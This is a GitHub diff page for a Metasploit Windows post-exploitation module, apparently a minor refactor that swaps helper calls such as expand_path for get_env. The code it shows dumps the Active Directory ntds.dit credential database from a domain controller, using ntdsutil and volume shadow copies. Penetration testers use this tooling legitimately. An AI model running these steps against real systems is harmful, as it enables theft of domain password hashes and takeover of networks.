File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
modules/post/windows/gather/credentials Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -73,11 +73,11 @@ def domain_name
73
73
end
74
74
75
75
def is_domain_controller?
76
- session . fs . file . exists ?( '%SystemDrive%\Windows\ntds\ntds.dit' )
76
+ file_exist ?( '%SystemDrive%\Windows\ntds\ntds.dit' )
77
77
end
78
78
79
79
def ntdsutil_method
80
- tmp_path = "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
80
+ tmp_path = "#{ get_env ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
81
81
command_arguments = "\" activate instance ntds\" \" ifm\" \" Create Full #{ tmp_path } \" quit quit"
82
82
result = cmd_exec ( "ntdsutil.exe" , command_arguments , 90 )
83
83
if result . include? "IFM media created successfully"
@@ -143,11 +143,11 @@ def session_compat?
143
143
end
144
144
145
145
def vss_method
146
- id = create_shadowcopy ( "#{ expand_path ( "%SystemDrive%" ) } \\ " )
146
+ id = create_shadowcopy ( "#{ get_env ( "%SystemDrive%" ) } \\ " )
147
147
print_status "Getting Details of ShadowCopy #{ id } "
148
148
sc_details = get_sc_details ( id )
149
149
sc_path = "#{ sc_details [ 'DeviceObject' ] } \\ windows\\ ntds\\ ntds.dit"
150
- target_path = "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
150
+ target_path = "#{ get_env ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
151
151
print_status "Moving ntds.dit to #{ target_path } "
152
152
move_file ( sc_path , target_path )
153
153
target_path
You can’t perform that action at this time.
0 commit comments